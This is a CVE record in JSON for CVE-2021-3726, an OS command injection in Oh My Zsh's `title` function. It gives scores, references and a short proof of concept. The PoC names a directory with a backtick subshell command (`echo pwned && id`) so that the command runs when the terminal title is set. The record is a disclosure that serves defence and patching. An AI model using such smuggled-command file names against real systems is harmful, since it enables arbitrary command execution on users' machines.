{"id":"CVE-2021-3726","state":"PUBLISHED","title":"OS Command Injection in ohmyzsh/ohmyzsh","description":"# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function.","publishedAt":"2021-11-30T09:30:15.000Z","updatedAt":"2024-08-03T17:01:08.345Z","severity":{"score":7.5,"label":"High","version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"@huntrdev"},"assigner":"@huntrdev","products":["ohmyzsh ohmyzsh/ohmyzsh"],"affected":[{"vendor":"ohmyzsh","product":"ohmyzsh/ohmyzsh","versions":[{"version":"unspecified","status":"affected","lessThan":"a263cdac","versionType":"custom"}]}],"references":["https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"],"weaknesses":["CWE-78"],"ingestedAt":"2026-10-29T19:48:55.807Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2021/3xxx/CVE-2021-3726.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2021-3726","state":"PUBLISHED","datePublished":"2021-11-30T09:30:15.000Z","dateUpdated":"2024-08-03T17:01:08.345Z","assignerShortName":"@huntrdev","assignerOrgId":"c09c270a-b464-47c1-9133-acb35b22c19a","dateReserved":"2021-08-19T00:00:00.000Z"},"containers":{"cna":{"title":"OS Command Injection in ohmyzsh/ohmyzsh","descriptions":[{"lang":"en","value":"# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."}],"affected":[{"vendor":"ohmyzsh","product":"ohmyzsh/ohmyzsh","versions":[{"version":"unspecified","status":"affected","lessThan":"a263cdac","versionType":"custom"}]}],"references":[{"url":"https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac","tags":["x_refsource_MISC"]}],"metrics":[{"cvssV3_1":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"HIGH","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-78","description":"CWE-78 OS Command Injection","lang":"en","type":"CWE"}]}],"providerMetadata":{"shortName":"@huntrdev","dateUpdated":"2021-11-30T09:30:15.000Z","orgId":"c09c270a-b464-47c1-9133-acb35b22c19a"},"exploits":[{"lang":"en","value":"**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Add a custom function that calls `title` to set the terminal title with a user-supplied string.\n   For example:\n\n   ```sh\n   function dirpath_in_title {\n     title \"$PWD\"\n   }\n   add-zsh-hook precmd dirpath_in_title\n   ```\n\n3. Create and cd into a directory with a subshell command as its name:\n\n   ```sh\n   baddir='`echo pwned && id`'\n   mkdir \"$baddir\" && cd \"$baddir\"\n   ```\n\n4. The `title` function incorrectly expands the subshell command (see screenshot):\n\n   ![2 title_function poc](https://user-images.githubusercontent.com/1441704/142874935-341ddd3c-21e8-4b9e-a5c1-77c0b3debacc.png)"}],"x_legacyV4Record":{"CVE_data_meta":{"ASSIGNER":"security@huntr.dev","ID":"CVE-2021-3726","STATE":"PUBLIC","TITLE":"OS Command Injection in ohmyzsh/ohmyzsh"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"ohmyzsh/ohmyzsh","version":{"version_data":[{"version_affected":"<","version_value":"a263cdac"}]}}]},"vendor_name":"ohmyzsh"}]}},"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."}]},"exploit":[{"lang":"en","value":"**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Add a custom function that calls `title` to set the terminal title with a user-supplied string.\n   For example:\n\n   ```sh\n   function dirpath_in_title {\n     title \"$PWD\"\n   }\n   add-zsh-hook precmd dirpath_in_title\n   ```\n\n3. Create and cd into a directory with a subshell command as its name:\n\n   ```sh\n   baddir='`echo pwned && id`'\n   mkdir \"$baddir\" && cd \"$baddir\"\n   ```\n\n4. The `title` function incorrectly expands the subshell command (see screenshot):\n\n   ![2 title_function poc](https://user-images.githubusercontent.com/1441704/142874935-341ddd3c-21e8-4b9e-a5c1-77c0b3debacc.png)"}],"impact":{"cvss":{"attackComplexity":"HIGH","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":7.5,"baseSeverity":"MEDIUM","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"CWE-78 OS Command Injection"}]}]},"references":{"reference_data":[{"name":"https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac","refsource":"MISC","url":"https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"}]}}},"adp":[{"title":"CVE Program Container","references":[{"url":"https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac","tags":["x_refsource_MISC","x_transferred"]}],"providerMetadata":{"shortName":"CVE","orgId":"af854a3a-2127-422b-91ae-364da2661108","dateUpdated":"2024-08-03T17:01:08.345Z"}}]}}}